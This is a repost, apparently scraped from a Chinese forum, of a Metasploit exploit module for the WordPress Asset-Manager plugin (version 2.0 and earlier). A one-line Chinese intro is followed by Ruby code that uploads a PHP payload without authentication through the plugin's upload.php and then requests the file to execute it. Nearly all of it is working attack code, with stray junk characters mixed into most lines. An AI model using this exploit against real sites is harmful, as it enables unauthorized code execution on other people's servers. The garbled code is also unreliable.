这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。9 i& V' G t$ E
; A, o1 A4 h* w##
3 s1 n/ J/ u+ e W, N# This file is part of the Metasploit Framework and may be subject to
0 A# k# Q7 n3 L% o2 G# redistribution and commercial restrictions. Please see the Metasploit
+ G! e# l; n5 @3 m# o# Framework web site for more information on licensing and terms of use.
! V2 s- G4 v! q7 C# http://metasploit.com/framework/7 _+ m* {! h* l) W9 F6 k4 D7 q
##( y3 X+ Z, u( W/ m* c; e& H" X% N
% p: [6 n8 d( [+ d. i/ P5 Q! ^
require 'msf/core'
z& b# d1 g: lrequire 'msf/core/exploit/php_exe'; r) B9 M# C4 T
1 o, [% v5 m& N) g2 d
class Metasploit3 < Msf::Exploit::Remote8 \8 t# P( X* D3 J$ y' X
Rank = ExcellentRanking
/ g1 l1 J& T/ P
4 t* O6 m3 G7 v3 e1 Q2 J( ]3 x4 G& O0 n include Msf::Exploit::Remote::HttpClient
2 W) E; n, i1 F6 U# n- c0 `1 F* w include Msf::Exploit: hpEXE9 C0 v# a5 J# |' h1 L/ f
) D4 f" w" Z, J8 l7 G2 E4 y def initialize(info = {})
) ~! w+ A( R6 i( w% I; C$ I" \ X super(update_info(info,2 b5 x6 Y1 J. W! U
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
( Q% `3 r- b( \. V+ @ 'Description' => %q{; p2 Y' e# i, B* X
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
' B$ d: h# o8 f7 Y; X0 B0 v8 k! _ plugin. By abusing the upload.php file, a malicious user can upload a file to a6 m' k7 I) n8 V, k( @/ d# U
temp directory without authentication, which results in arbitrary code execution.1 \4 l! c6 L1 D, O7 V
},
) I& k1 }, }2 P/ t4 q 'Author' =>
( Q$ m) B6 r& t0 U [: E1 E4 H( {: F+ G( }
'Sammy FORGIT', # initial discovery
, g# ` C: _( y3 T: P 'James Fitts <fitts.james[at]gmail.com>' # metasploit module- o* ?3 y" J4 p( b& u
],
0 T* z j) J5 B/ ~1 v$ J4 D$ | 'License' => MSF_LICENSE,& Q$ u4 L; Q2 E2 f2 q
'References' =>6 _8 ?5 h: _( j7 z! A5 s; b
[ @3 l/ k1 F6 q+ _7 f
[ 'OSVDB', '82653' ],# ^. w1 r |/ n9 }* u+ S
[ 'BID', '53809' ],
! Y R! I+ o6 N. w% n. m2 o [ 'EDB', '18993' ],; B6 u7 l1 L4 P
[ 'URL', 'http:// www.myhack58.com /' ]% D7 M# m% ?& K* o* T2 Y0 K. q% J
],3 `: t% O4 s- c t8 f
'Payload' =>
7 j& |2 H( s7 h8 } v: u3 A+ t, ]3 M {) D: w2 P8 |0 w5 S
'BadChars' => "\x00",/ Z$ U/ r) g! {" ]6 W
},3 D# ?- E3 j" A- L& h+ F* {
'Platform' => 'php',
4 N) U7 a7 y& |( Q3 d 'Arch' => ARCH_PHP,
) O) v& h$ a9 w 'Targets' =>. I, M* i6 l) S1 a% F7 S' T
[
[9 |% l/ e4 h' r' j3 y [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],( v, D0 O/ K( d# n0 n8 ^+ i7 L
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
( {4 A9 ?: h0 \( ^ ],6 Y R( V- E! }9 _. f! U
'DefaultTarget' => 0,
" H. P9 J4 r" j! E$ { 'DisclosureDate' => 'May 26 2012'))
N9 [! ~2 K0 f& Q
& `* \0 t9 \# I2 K register_options(
& w4 H8 Q$ Z& Z$ G- W [
5 _3 B b; `' J& S8 C+ { OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])5 Q+ T7 |0 G) r+ `
], self.class)' c4 n6 c1 v2 ^& o- q) l
end9 d( O. ]" @% }' C3 V# e
6 C9 t% `* N3 V4 e def exploit
/ W8 g) W& b1 e3 u2 ?/ M uri = target_uri.path
8 W2 g$ {/ D, G0 C8 T; ` uri << '/' if uri[-1,1] != '/'1 U( o6 N& K$ Q9 k
peer = "#{rhost}:#{rport}"/ N6 g) D9 X4 b3 {# Q2 V* S
payload_name = "#{rand_text_alpha(5)}.php"; E- u* U% }$ `+ m" H$ M1 M
php_payload = get_write_exec_payload(:unlink_self=>true)0 Z) p( W! F5 V( M: r6 A
9 @- z8 \3 s8 Y; N( s
data = Rex::MIME::Message.new
Q$ S# w8 y$ L: a6 F* d- o data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
& h" `. ]& a! P: E1 f post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
8 ? d3 t( Z+ O0 ]! f8 c& e
. Q4 Q2 ~3 B& H: b( l- A print_status("#{peer} - Uploading payload #{payload_name}")
$ R& B- ]# p6 o4 |* X0 j res = send_request_cgi({ G7 I0 i1 B) [, ]
'method' => 'POST', |8 y( k/ C/ `$ L3 \% I
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
3 z( ^7 ?/ X% R$ R 'ctype' => "multipart/form-data; boundary=#{data.bound}",4 [8 _% e, P% \3 s. U1 [# n
'data' => post_data) e* o: k( m3 d" ?# h7 @* R; L
})8 T; g& X; @8 F; [! |1 c! m% ]
+ D1 h3 L x; P2 Q2 N; C
if not res or res.code != 200 or res.body !~ /#{payload_name}/
; w( F# [3 k" K" ^) h" [ fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")- J y U( O1 t1 j9 E
end
u& ^ a. A7 X1 J1 k& ^) o) o/ p
% p. |$ x; S( r( s print_status("#{peer} - Executing payload #{payload_name}")$ v7 J0 Y- g. k+ p$ k
res = send_request_raw({, U% A/ n0 e) r/ Q, e0 \, Z
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",% V: |8 C8 q+ O! x* s
'method' => 'GET'( y$ K9 Y6 H/ C2 m- k! s' H
}) D. w+ r1 I* n6 {& U
! ]6 B: [1 D2 B4 Z/ w
if res and res.code != 200
/ y) {5 L/ X+ h: n+ Z6 | fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")! {9 \3 q: j; W! e
end
9 |2 D! ]9 l- {" F8 b/ V7 ` end
, p4 F p9 T% rend( C" m; }& j" _! s/ ^( b
|